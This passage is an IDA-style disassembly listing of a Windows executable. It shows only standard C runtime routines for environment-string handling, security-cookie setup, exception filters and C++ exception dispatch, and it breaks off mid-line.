; CODE XREF: .text:0040E0EAp var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_426480 push ebx push ebp push esi push edi mov edi, ds:dword_41E11C xor ebx, ebx xor esi, esi cmp eax, ebx push 2 pop ebp jnz short loc_414CB8 call edi ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_414C9F mov dword_426480, 1 jmp short loc_414CC1 ; --------------------------------------------------------------------------- loc_414C9F: ; CODE XREF: sub_414C6F+22j call ds:dword_41E0D8 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_414CB3 mov eax, ebp mov dword_426480, eax jmp short loc_414CB8 ; --------------------------------------------------------------------------- loc_414CB3: ; CODE XREF: sub_414C6F+39j mov eax, dword_426480 loc_414CB8: ; CODE XREF: sub_414C6F+1Aj ; sub_414C6F+42j cmp eax, 1 jnz loc_414D45 loc_414CC1: ; CODE XREF: sub_414C6F+2Ej cmp esi, ebx jnz short loc_414CD4 call edi ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jnz short loc_414CD4 loc_414CCD: ; CODE XREF: sub_414C6F+DCj ; sub_414C6F+E8j ... xor eax, eax jmp loc_414D9D ; --------------------------------------------------------------------------- loc_414CD4: ; CODE XREF: sub_414C6F+54j ; sub_414C6F+5Cj cmp [esi], bx mov eax, esi jz short loc_414CE9 loc_414CDB: ; CODE XREF: sub_414C6F+71j ; sub_414C6F+78j add eax, ebp cmp [eax], bx jnz short loc_414CDB add eax, ebp cmp [eax], bx jnz short loc_414CDB loc_414CE9: ; CODE XREF: sub_414C6F+6Aj mov edi, ds:dword_41E120 push ebx push ebx push ebx sub eax, esi push ebx sar eax, 1 inc eax push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_414D3A push ebp call sub_41183A cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_414D3A push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_414D36 push [esp+18h+var_8] call sub_40D35A pop ecx mov [esp+18h+var_8], ebx loc_414D36: ; CODE XREF: sub_414C6F+B7j mov ebx, [esp+18h+var_8] loc_414D3A: ; CODE XREF: sub_414C6F+97j ; sub_414C6F+A6j push esi call ds:dword_41E124 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_414D9D ; --------------------------------------------------------------------------- loc_414D45: ; CODE XREF: sub_414C6F+4Cj cmp eax, ebp jz short loc_414D4D cmp eax, ebx jnz short loc_414CCD loc_414D4D: ; CODE XREF: sub_414C6F+D8j call ds:off_41E128 mov esi, eax cmp esi, ebx jz loc_414CCD cmp [esi], bl jz short loc_414D6B loc_414D61: ; CODE XREF: sub_414C6F+F5j ; sub_414C6F+FAj inc eax cmp [eax], bl jnz short loc_414D61 inc eax cmp [eax], bl jnz short loc_414D61 loc_414D6B: ; CODE XREF: sub_414C6F+F0j sub eax, esi inc eax mov ebp, eax push ebp call sub_41183A mov edi, eax cmp edi, ebx pop ecx jnz short loc_414D89 push esi call ds:off_41E12C jmp loc_414CCD ; --------------------------------------------------------------------------- loc_414D89: ; CODE XREF: sub_414C6F+10Cj push ebp push esi push edi call sub_40D820 add esp, 0Ch push esi call ds:off_41E12C mov eax, edi loc_414D9D: ; CODE XREF: sub_414C6F+60j ; sub_414C6F+D4j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_414C6F endp ; =============== S U B R O U T I N E ======================================= sub_414DA4 proc near ; CODE XREF: .text:loc_40E0C6p push esi push edi mov eax, offset dword_42186C mov edi, offset dword_42186C cmp eax, edi mov esi, eax jnb short loc_414DC5 loc_414DB6: ; CODE XREF: sub_414DA4+1Fj mov eax, [esi] test eax, eax jz short loc_414DBE call eax loc_414DBE: ; CODE XREF: sub_414DA4+16j add esi, 4 cmp esi, edi jb short loc_414DB6 loc_414DC5: ; CODE XREF: sub_414DA4+10j pop edi pop esi retn sub_414DA4 endp ; =============== S U B R O U T I N E ======================================= sub_414DC8 proc near ; DATA XREF: sub_411A79+3Fo push esi push edi mov eax, offset dword_421874 mov edi, offset dword_421874 cmp eax, edi mov esi, eax jnb short loc_414DE9 loc_414DDA: ; CODE XREF: sub_414DC8+1Fj mov eax, [esi] test eax, eax jz short loc_414DE2 call eax loc_414DE2: ; CODE XREF: sub_414DC8+16j add esi, 4 cmp esi, edi jb short loc_414DDA loc_414DE9: ; CODE XREF: sub_414DC8+10j pop edi pop esi retn sub_414DC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414DEC proc near ; CODE XREF: .text:loc_40E1B2p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h mov eax, dword_423068 and [ebp+var_8], 0 and [ebp+var_4], 0 push ebx push edi mov edi, 0BB40E64Eh cmp eax, edi mov ebx, 0FFFF0000h jz short loc_414E1C test eax, ebx jz short loc_414E1C not eax mov dword_42306C, eax jmp short loc_414E7C ; --------------------------------------------------------------------------- loc_414E1C: ; CODE XREF: sub_414DEC+21j ; sub_414DEC+25j push esi lea eax, [ebp+var_8] push eax call ds:off_41E118 mov esi, [ebp+var_4] xor esi, [ebp+var_8] call ds:dword_41E19C ; GetCurrentProcessId xor esi, eax call ds:dword_41E0C8 ; GetCurrentThreadId xor esi, eax call ds:dword_41E0EC ; GetTickCount xor esi, eax lea eax, [ebp+var_10] push eax call ds:dword_41E084 ; QueryPerformanceCounter mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor esi, eax cmp esi, edi jnz short loc_414E62 mov esi, 0BB40E64Fh jmp short loc_414E6D ; --------------------------------------------------------------------------- loc_414E62: ; CODE XREF: sub_414DEC+6Dj test esi, ebx jnz short loc_414E6D mov eax, esi shl eax, 10h or esi, eax loc_414E6D: ; CODE XREF: sub_414DEC+74j ; sub_414DEC+78j mov dword_423068, esi not esi mov dword_42306C, esi pop esi loc_414E7C: ; CODE XREF: sub_414DEC+2Ej pop edi pop ebx leave retn sub_414DEC endp ; =============== S U B R O U T I N E ======================================= sub_414E80 proc near ; DATA XREF: sub_414EECo ; .data:00423064o ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] mov eax, [edi] cmp dword ptr [eax], 0E06D7363h jnz short loc_414EB9 cmp dword ptr [eax+10h], 3 jnz short loc_414EB9 mov eax, [eax+14h] cmp eax, 19930520h jz short loc_414EB4 cmp eax, 19930521h jz short loc_414EB4 cmp eax, 19930522h jz short loc_414EB4 cmp eax, 1994000h jnz short loc_414EB9 loc_414EB4: ; CODE XREF: sub_414E80+1Dj ; sub_414E80+24j ... call sub_415BBB loc_414EB9: ; CODE XREF: sub_414E80+Dj ; sub_414E80+13j ... cmp byte_426488, 0 push esi jz short loc_414EE5 push dword_426484 call sub_40F194 mov esi, eax test esi, esi pop ecx jz short loc_414EE5 push esi call sub_419CC4 test eax, eax pop ecx jz short loc_414EE5 push edi call esi jmp short loc_414EE7 ; --------------------------------------------------------------------------- loc_414EE5: ; CODE XREF: sub_414E80+41j ; sub_414E80+53j ... xor eax, eax loc_414EE7: ; CODE XREF: sub_414E80+63j pop esi pop edi retn 4 sub_414E80 endp ; =============== S U B R O U T I N E ======================================= sub_414EEC proc near ; DATA XREF: r69pu5ti:0041E2C0o push offset sub_414E80 call ds:dword_41E1A8 ; SetUnhandledExceptionFilter push eax call sub_40F128 mov dword_426484, eax pop ecx mov byte_426488, 1 xor eax, eax retn sub_414EEC endp ; =============== S U B R O U T I N E ======================================= sub_414F0D proc near ; DATA XREF: r69pu5ti:0041E2F0o cmp byte_426488, 0 jz short locret_414F30 push dword_426484 call sub_40F194 pop ecx push eax call ds:dword_41E1A8 ; SetUnhandledExceptionFilter mov byte_426488, 0 locret_414F30: ; CODE XREF: sub_414F0D+7j retn sub_414F0D endp ; =============== S U B R O U T I N E ======================================= sub_414F31 proc near ; DATA XREF: r69pu5ti:00421CC0o mov dword ptr [ecx], offset off_41EC14 jmp sub_40C899 sub_414F31 endp ; --------------------------------------------------------------------------- loc_414F3C: ; DATA XREF: r69pu5ti:off_41EC14o push esi mov esi, ecx mov dword ptr [esi], offset off_41EC14 call sub_40C899 test byte ptr [esp+8], 1 jz short loc_414F58 push esi call sub_40CB3C pop ecx loc_414F58: ; CODE XREF: .text:00414F4Fj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_414F5E proc near ; CODE XREF: sub_41519D+4Ep ; sub_415769+21Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_414FB4 lea edx, [eax+8] cmp byte ptr [edx], 0 jz short loc_414FB4 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_414F92 add ecx, 8 push ecx push edx call sub_40CDC0 test eax, eax pop ecx pop ecx jz short loc_414F92 loc_414F8E: ; CODE XREF: sub_414F5E+3Cj ; sub_414F5E+4Bj ... xor eax, eax jmp short loc_414FB7 ; --------------------------------------------------------------------------- loc_414F92: ; CODE XREF: sub_414F5E+1Ej ; sub_414F5E+2Ej test byte ptr [esi], 2 jz short loc_414F9C test byte ptr [edi], 8 jz short loc_414F8E loc_414F9C: ; CODE XREF: sub_414F5E+37j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_414FAB test byte ptr [edi], 1 jz short loc_414F8E loc_414FAB: ; CODE XREF: sub_414F5E+46j test al, 2 jz short loc_414FB4 test byte ptr [edi], 2 jz short loc_414F8E loc_414FB4: ; CODE XREF: sub_414F5E+Bj ; sub_414F5E+13j ... xor eax, eax inc eax loc_414FB7: ; CODE XREF: sub_414F5E+32j pop edi pop esi retn sub_414F5E endp ; =============== S U B R O U T I N E ======================================= sub_414FBA proc near ; CODE XREF: sub_414FFE+85p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] mov eax, [eax] cmp eax, 0E0434F4Dh jz short loc_414FE1 cmp eax, 0E06D7363h jnz short loc_414FFB call sub_40F39E and dword ptr [eax+90h], 0 jmp sub_415BBB ; --------------------------------------------------------------------------- loc_414FE1: ; CODE XREF: sub_414FBA+Dj call sub_40F39E cmp dword ptr [eax+90h], 0 jle short loc_414FFB call sub_40F39E add eax, 90h dec dword ptr [eax] loc_414FFB: ; CODE XREF: sub_414FBA+14j ; sub_414FBA+33j xor eax, eax retn sub_414FBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414FFE proc near ; CODE XREF: sub_41525F+ECp ; sub_41560B+36p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push 10h push offset dword_421BB8 call __SEH_prolog4 mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] cmp dword ptr [edi+4], 80h jg short loc_41501F movsx esi, byte ptr [ebx+8] jmp short loc_415022 ; --------------------------------------------------------------------------- loc_41501F: ; CODE XREF: sub_414FFE+19j mov esi, [ebx+8] loc_415022: ; CODE XREF: sub_414FFE+1Fj mov [ebp+var_1C], esi call sub_40F39E add eax, 90h inc dword ptr [eax] and [ebp+ms_exc.disabled], 0 loc_415035: ; CODE XREF: sub_414FFE+9Fj cmp esi, [ebp+arg_C] jz short loc_41509F cmp esi, 0FFFFFFFFh jle short loc_415044 cmp esi, [edi+4] jl short loc_415049 loc_415044: ; CODE XREF: sub_414FFE+3Fj call sub_415C07 loc_415049: ; CODE XREF: sub_414FFE+44j mov eax, esi shl eax, 3 mov ecx, [edi+8] add ecx, eax mov esi, [ecx] mov [ebp+var_20], esi mov [ebp+ms_exc.disabled], 1 cmp dword ptr [ecx+4], 0 jz short loc_41507A mov [ebx+8], esi push 103h push ebx mov ecx, [edi+8] push dword ptr [ecx+eax+4] call sub_415C50 loc_41507A: ; CODE XREF: sub_414FFE+65j and [ebp+ms_exc.disabled], 0 jmp short loc_41509A ; --------------------------------------------------------------------------- loc_415080: ; DATA XREF: r69pu5ti:00421BD8o push [ebp+ms_exc.exc_ptr] call sub_414FBA pop ecx retn ; --------------------------------------------------------------------------- loc_41508A: ; DATA XREF: r69pu5ti:00421BD8o mov esp, [ebp+ms_exc.old_esp] and [ebp+ms_exc.disabled], 0 mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_20] loc_41509A: ; CODE XREF: sub_414FFE+80j mov [ebp+var_1C], esi jmp short loc_415035 ; --------------------------------------------------------------------------- loc_41509F: ; CODE XREF: sub_414FFE+3Aj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_4150C4 cmp esi, [ebp+arg_C] jz short loc_4150B5 call sub_415C07 loc_4150B5: ; CODE XREF: sub_414FFE+B0j mov [ebx+8], esi call __SEH_epilog4 retn sub_414FFE endp ; =============== S U B R O U T I N E ======================================= sub_4150BE proc near ; DATA XREF: r69pu5ti:00421BD0o mov ebx, [ebp+8] mov esi, [ebp-1Ch] sub_4150BE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4150C4 proc near ; CODE XREF: sub_414FFE+A8p call sub_40F39E cmp dword ptr [eax+90h], 0 jle short locret_4150DE call sub_40F39E add eax, 90h dec dword ptr [eax] locret_4150DE: ; CODE XREF: sub_4150C4+Cj retn sub_4150C4 endp ; =============== S U B R O U T I N E ======================================= sub_4150DF proc near ; CODE XREF: sub_41525F+93p mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_415121 cmp dword ptr [eax+10h], 3 jnz short loc_415121 mov ecx, [eax+14h] cmp ecx, 19930520h jz short loc_41510A cmp ecx, 19930521h jz short loc_41510A cmp ecx, 19930522h jnz short loc_415121 loc_41510A: ; CODE XREF: sub_4150DF+19j ; sub_4150DF+21j cmp dword ptr [eax+1Ch], 0 jnz short loc_415121 call sub_40F39E xor ecx, ecx inc ecx mov [eax+20Ch], ecx mov eax, ecx retn ; --------------------------------------------------------------------------- loc_415121: ; CODE XREF: sub_4150DF+8j ; sub_4150DF+Ej ... xor eax, eax retn sub_4150DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415124 proc near ; CODE XREF: sub_410640+112p ; sub_415385+6Ep ... ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 8 push offset dword_421BE0 call __SEH_prolog4 mov ecx, [ebp+arg_0] test ecx, ecx jz short loc_415161 cmp dword ptr [ecx], 0E06D7363h jnz short loc_415161 mov eax, [ecx+1Ch] test eax, eax jz short loc_415161 mov eax, [eax+4] test eax, eax jz short loc_415161 and [ebp+ms_exc.disabled], 0 push eax push dword ptr [ecx+18h] call sub_40E236 mov [ebp+ms_exc.disabled], 0FFFFFFFEh loc_415161: ; CODE XREF: sub_415124+11j ; sub_415124+19j ... call __SEH_epilog4 retn sub_415124 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_415BBB ; =============== S U B R O U T I N E ======================================= sub_415178 proc near ; CODE XREF: sub_4153FB+86p ; sub_4153FB+113p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] mov eax, [ecx] push esi mov esi, [esp+4+arg_0] add eax, esi cmp dword ptr [ecx+4], 0 jl short loc_41519B mov edx, [ecx+4] mov ecx, [ecx+8] mov esi, [edx+esi] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41519B: ; CODE XREF: sub_415178+11j pop esi retn sub_415178 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41519D proc near ; CODE XREF: sub_415769+111p ; sub_415769+2AEp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch test edi, edi jnz short loc_4151B1 call sub_415C07 jmp sub_415BBB ; --------------------------------------------------------------------------- loc_4151B1: ; CODE XREF: sub_41519D+8j and [ebp+var_8], 0 cmp dword ptr [edi], 0 mov [ebp+var_1], 0 jle short loc_415211 push ebx push esi loc_4151C0: ; CODE XREF: sub_41519D+70j mov eax, [ebp+arg_0] mov eax, [eax+1Ch] mov eax, [eax+0Ch] mov ebx, [eax] test ebx, ebx lea esi, [eax+4] jle short loc_415205 mov eax, [ebp+var_8] shl eax, 4 mov [ebp+var_C], eax loc_4151DB: ; CODE XREF: sub_41519D+60j mov ecx, [ebp+arg_0] push dword ptr [ecx+1Ch] mov eax, [esi] push eax mov eax, [edi+4] add eax, [ebp+var_C] push eax call sub_414F5E add esp, 0Ch test eax, eax jnz short loc_415201 dec ebx add esi, 4 test ebx, ebx jg short loc_4151DB jmp short loc_415205 ; --------------------------------------------------------------------------- loc_415201: ; CODE XREF: sub_41519D+58j mov [ebp+var_1], 1 loc_415205: ; CODE XREF: sub_41519D+33j ; sub_41519D+62j inc [ebp+var_8] mov eax, [ebp+var_8] cmp eax, [edi] jl short loc_4151C0 pop esi pop ebx loc_415211: ; CODE XREF: sub_41519D+1Fj mov al, [ebp+var_1] leave retn sub_41519D endp ; =============== S U B R O U T I N E ======================================= sub_415216 proc near ; CODE XREF: sub_415769+30Ap push 4 mov eax, offset sub_41D60E call sub_40E600 call sub_40F39E cmp dword ptr [eax+94h], 0 jz short loc_415235 call sub_415C07 loc_415235: ; CODE XREF: sub_415216+18j and dword ptr [ebp-4], 0 call sub_415BF4 or dword ptr [ebp-4], 0FFFFFFFFh jmp sub_415BBB sub_415216 endp ; --------------------------------------------------------------------------- call sub_40F39E mov ecx, [ebp+8] push 0 push 0 mov [eax+94h], ecx call sub_40E1BC int 3 ; Trap to Debugger ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41525F proc near ; CODE XREF: sub_41560B+57p var_3C = byte ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch ; FUNCTION CHUNK AT 0041537A SIZE 00000005 BYTES push 2Ch push offset dword_421C58 call __SEH_prolog4 mov ebx, ecx mov edi, [ebp+arg_4] mov esi, [ebp+arg_0] mov [ebp+var_1C], ebx and [ebp+var_34], 0 mov eax, [edi-4] mov [ebp+var_24], eax push dword ptr [esi+18h] lea eax, [ebp+var_3C] push eax call sub_40E4DA pop ecx pop ecx mov [ebp+var_28], eax call sub_40F39E mov eax, [eax+88h] mov [ebp+var_2C], eax call sub_40F39E mov eax, [eax+8Ch] mov [ebp+var_30], eax call sub_40F39E mov [eax+88h], esi call sub_40F39E mov ecx, [ebp+arg_8] mov [eax+8Ch], ecx and [ebp+ms_exc.disabled], 0 xor eax, eax inc eax mov [ebp+arg_8], eax mov [ebp+ms_exc.disabled], eax push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+arg_C] push edi call sub_40E56F add esp, 14h mov [ebp+var_1C], eax and [ebp+ms_exc.disabled], 0 jmp short loc_41535E ; --------------------------------------------------------------------------- loc_4152EF: ; DATA XREF: r69pu5ti:00421C78o mov eax, [ebp+ms_exc.exc_ptr] call sub_4150DF retn ; --------------------------------------------------------------------------- loc_4152F8: ; DATA XREF: r69pu5ti:00421C78o mov esp, [ebp+ms_exc.old_esp] call sub_40F39E and dword ptr [eax+20Ch], 0 mov esi, [ebp+arg_C] mov edi, [ebp+arg_4] cmp dword ptr [esi+4], 80h jg short loc_41531C movsx ecx, byte ptr [edi+8] jmp short loc_41531F ; --------------------------------------------------------------------------- loc_41531C: ; CODE XREF: sub_41525F+B5j mov ecx, [edi+8] loc_41531F: ; CODE XREF: sub_41525F+BBj mov ebx, [esi+10h] and [ebp+var_20], 0 loc_415326: ; CODE XREF: sub_41525F+11Ej mov eax, [ebp+var_20] cmp eax, [esi+0Ch] jnb short loc_415346 imul eax, 14h add eax, ebx mov edx, [eax+4] cmp ecx, edx jle short loc_41537A cmp ecx, [eax+8] jg short loc_41537A mov eax, [esi+8] mov ecx, [eax+edx*8+8] loc_415346: ; CODE XREF: sub_41525F+CDj push ecx push esi push 0 push edi call sub_414FFE add esp, 10h and [ebp+var_1C], 0 and [ebp+ms_exc.disabled], 0 mov esi, [ebp+arg_0] loc_41535E: ; CODE XREF: sub_41525F+8Ej mov [ebp+ms_exc.disabled], 0FFFFFFFEh mov [ebp+arg_8], 0 call sub_415385 mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_41525F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41525F loc_41537A: ; CODE XREF: sub_41525F+D9j ; sub_41525F+DEj inc [ebp+var_20] jmp short loc_415326 ; END OF FUNCTION CHUNK FOR sub_41525F ; =============== S U B R O U T I N E ======================================= sub_41537F proc near ; DATA XREF: r69pu5ti:00421C70o mov edi, [ebp+0Ch] mov esi, [ebp+8] sub_41537F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415385 proc near ; CODE XREF: sub_41525F+10Dp mov eax, [ebp-24h] mov [edi-4], eax push dword ptr [ebp-28h] call sub_40E523 pop ecx call sub_40F39E mov ecx, [ebp-2Ch] mov [eax+88h], ecx call sub_40F39E mov ecx, [ebp-30h] mov [eax+8Ch], ecx cmp dword ptr [esi], 0E06D7363h jnz short locret_4153FA cmp dword ptr [esi+10h], 3 jnz short locret_4153FA mov eax, [esi+14h] cmp eax, 19930520h jz short loc_4153D6 cmp eax, 19930521h jz short loc_4153D6 cmp eax, 19930522h jnz short locret_4153FA loc_4153D6: ; CODE XREF: sub_415385+41j ; sub_415385+48j cmp dword ptr [ebp-34h], 0 jnz short locret_4153FA cmp dword ptr [ebp-1Ch], 0 jz short locret_4153FA push dword ptr [esi+18h] call sub_40E502 pop ecx test eax, eax jz short locret_4153FA push dword ptr [ebp+10h] push esi call sub_415124 pop ecx pop ecx locret_4153FA: ; CODE XREF: sub_415385+31j ; sub_415385+37j ... retn sub_415385 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153FB proc near ; CODE XREF: sub_41557A+36p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 0Ch push offset dword_421C80 call __SEH_prolog4 xor edx, edx mov [ebp+var_1C], edx mov eax, [ebp+arg_8] mov ecx, [eax+4] cmp ecx, edx jz loc_415572 cmp [ecx+8], dl jz loc_415572 mov ecx, [eax+8] cmp ecx, edx jnz short loc_415436 test dword ptr [eax], 80000000h jz loc_415572 loc_415436: ; CODE XREF: sub_4153FB+2Dj mov eax, [eax] mov esi, [ebp+arg_4] test eax, eax js short loc_415443 lea esi, [ecx+esi+0Ch] loc_415443: ; CODE XREF: sub_4153FB+42j mov [ebp+ms_exc.disabled], edx xor ebx, ebx inc ebx push ebx test al, 8 jz short loc_41548F mov edi, [ebp+arg_0] push dword ptr [edi+18h] call sub_419CC4 pop ecx pop ecx test eax, eax jz loc_415555 push ebx push esi call sub_419CC4 pop ecx pop ecx test eax, eax jz loc_415555 mov eax, [edi+18h] mov [esi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_415480: ; CODE XREF: sub_4153FB+E7j push eax call sub_415178 pop ecx pop ecx mov [esi], eax jmp loc_41555A ; --------------------------------------------------------------------------- loc_41548F: ; CODE XREF: sub_4153FB+51j mov edi, [ebp+arg_C] mov eax, [ebp+arg_0] push dword ptr [eax+18h] test [edi], bl jz short loc_4154E4 call sub_419CC4 pop ecx pop ecx test eax, eax jz loc_415555 push ebx push esi call sub_419CC4 pop ecx pop ecx test eax, eax jz loc_415555 push dword ptr [edi+14h] mov eax, [ebp+arg_0] push dword ptr [eax+18h] push esi call sub_411470 add esp, 0Ch cmp dword ptr [edi+14h], 4 jnz loc_41555A mov eax, [esi] test eax, eax jz short loc_41555A add edi, 8 push edi jmp short loc_415480 ; --------------------------------------------------------------------------- loc_4154E4: ; CODE XREF: sub_4153FB+9Fj cmp [edi+18h], edx jnz short loc_415521 call sub_419CC4 pop ecx pop ecx test eax, eax jz short loc_415555 push ebx push esi call sub_419CC4 pop ecx pop ecx test eax, eax jz short loc_415555 push dword ptr [edi+14h] add edi, 8 push edi mov eax, [ebp+arg_0] push dword ptr [eax+18h] call sub_415178 pop ecx pop ecx push eax push esi call sub_411470 add esp, 0Ch jmp short loc_41555A ; --------------------------------------------------------------------------- loc_415521: ; CODE XREF: sub_4153FB+ECj call sub_419CC4 pop ecx pop ecx test eax, eax jz short loc_415555 push ebx push esi call sub_419CC4 pop ecx pop ecx test eax, eax jz short loc_415555 push dword ptr [edi+18h] call sub_419CC4 pop ecx test eax, eax jz short loc_415555 test byte ptr [edi], 4 push 0 pop eax setnz al inc eax mov [ebp+var_1C], eax jmp short loc_41555A ; --------------------------------------------------------------------------- loc_415555: ; CODE XREF: sub_4153FB+62j ; sub_4153FB+73j ... call sub_415C07 loc_41555A: ; CODE XREF: sub_4153FB+8Fj ; sub_4153FB+D7j ... mov [ebp+ms_exc.disabled], 0FFFFFFFEh mov eax, [ebp+var_1C] jmp short loc_415574 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] jmp sub_415BBB ; --------------------------------------------------------------------------- loc_415572: ; CODE XREF: sub_4153FB+19j ; sub_4153FB+22j ... xor eax, eax loc_415574: ; CODE XREF: sub_4153FB+169j call __SEH_epilog4 retn sub_4153FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41557A proc near ; CODE XREF: sub_41560B+11p ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 8 push offset dword_421CA0 call __SEH_prolog4 mov eax, [ebp+arg_8] test dword ptr [eax], 80000000h jz short loc_415596 mov ebx, [ebp+arg_4] jmp short loc_4155A0 ; --------------------------------------------------------------------------- loc_415596: ; CODE XREF: sub_41557A+15j mov ecx, [eax+8] mov edx, [ebp+arg_4] lea ebx, [ecx+edx+0Ch] loc_4155A0: ; CODE XREF: sub_41557A+1Aj and [ebp+ms_exc.disabled], 0 mov esi, [ebp+arg_C] push esi push eax push [ebp+arg_4] mov edi, [ebp+arg_0] push edi call sub_4153FB add esp, 10h dec eax jz short loc_4155DA dec eax jnz short loc_4155F2 push 1 lea eax, [esi+8] push eax push dword ptr [edi+18h] call sub_415178 pop ecx pop ecx push eax push dword ptr [esi+18h] push ebx call sub_40E236 jmp short loc_4155F2 ; --------------------------------------------------------------------------- loc_4155DA: ; CODE XREF: sub_41557A+3Fj lea eax, [esi+8] push eax push dword ptr [edi+18h] call sub_415178 pop ecx pop ecx push eax push dword ptr [esi+18h] push ebx call sub_40E236 loc_4155F2: ; CODE XREF: sub_41557A+42j ; sub_41557A+5Ej mov [ebp+ms_exc.disabled], 0FFFFFFFEh call __SEH_epilog4 retn sub_41557A endp ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_415BBB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41560B proc near ; CODE XREF: sub_415677+D4p ; sub_415769+25Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp cmp [ebp+arg_10], 0 jz short loc_415624 push [ebp+arg_10] push ebx push esi push [ebp+arg_0] call sub_41557A add esp, 10h loc_415624: ; CODE XREF: sub_41560B+7j cmp [ebp+arg_18], 0 push [ebp+arg_0] jnz short loc_415630 push esi jmp short loc_415633 ; --------------------------------------------------------------------------- loc_415630: ; CODE XREF: sub_41560B+20j push [ebp+arg_18] loc_415633: ; CODE XREF: sub_41560B+23j call sub_40E23D push dword ptr [edi] push [ebp+arg_C] push [ebp+arg_8] push esi call sub_414FFE mov eax, [edi+4] push 100h push [ebp+arg_14] inc eax push [ebp+arg_C] mov [esi+8], eax push [ebp+arg_4] mov ecx, [ebx+0Ch] push esi push [ebp+arg_0] call sub_41525F add esp, 28h test eax, eax jz short loc_415675 push esi push eax call sub_40E206 loc_415675: ; CODE XREF: sub_41560B+61j pop ebp retn sub_41560B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415677 proc near ; CODE XREF: sub_415769+336p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx push esi mov esi, [ebp+arg_0] cmp dword ptr [esi], 80000003h jz loc_415766 push edi call sub_40F39E cmp dword ptr [eax+80h], 0 jz short loc_4156DA call sub_40F39E lea edi, [eax+80h] call sub_40F18B cmp [edi], eax jz short loc_4156DA cmp dword ptr [esi], 0E0434F4Dh jz short loc_4156DA push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_40E2F5 add esp, 1Ch test eax, eax jnz loc_415765 loc_4156DA: ; CODE XREF: 